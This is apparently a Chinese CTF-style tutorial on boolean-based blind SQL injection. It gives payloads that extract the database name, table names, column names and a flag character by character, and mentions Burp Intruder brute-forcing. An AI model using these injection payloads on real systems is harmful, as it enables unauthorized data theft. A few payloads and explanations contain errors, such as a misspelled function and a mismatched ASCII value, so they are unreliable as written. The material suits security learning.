目录
一.什么是布尔盲注
根据你注入的信息返回true和false,没有具体内容显示。
二.常用函数
length() 返回字符串的长度
substr() 截取字符串 substr(字符串,截取的开始,截取的长度)
ascii() 返回字符的ascii码
sleep() 延时
if(expr1,expr2,expr3) 判断语句:如果第一个语句正确就执行第二个语句,否则执行第三个
三.具体步骤
- 猜解当前数据库名称的长度
and (length(database()))>9#
- 利用ASCII码猜解当前数据库名称
and substr(database(),1,1)='s'或者
and ascii(substr(database(),1,1))=115--+返回正常,说明数据库名称第一位是s
and (ascii(substr(databse(),2,1)))=101--+返回正常,说明数据库名称第二位是e
- 猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+返回正常,说明数据库的第一个的第一位是e
- 猜字段
and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='yay' limit 0,1),1,1)))=101--+返回正常,说明yay表里的列名称第一位是f
- 猜内容
and (ascii(substr((select flag from yay limit 1,1),1,1)))=122--+
四.实例分析
输入and 1=1和1=2发现只会告诉是否有数据,但不会显示数据内容,所以判断是布尔盲注。
如下图,表长为12
如下图,库名第一个字母是k(107是ASCII值所对应就是k)
或者用burp逐个爆破更加方便。先抓包,然后发送至intruder,先清除变量符号,然后将ascii值添加上变量符号。
,
找到长度相较于其他过长或过短的字符,如下图119(w)就是第四个字符。
接着可以用和猜库名一样的方法,逐个尝试猜解表名、字段名以及相关内容,或者也可以用bp逐个爆破。
耐心地按照具体步骤依次查找,就可以查询到flag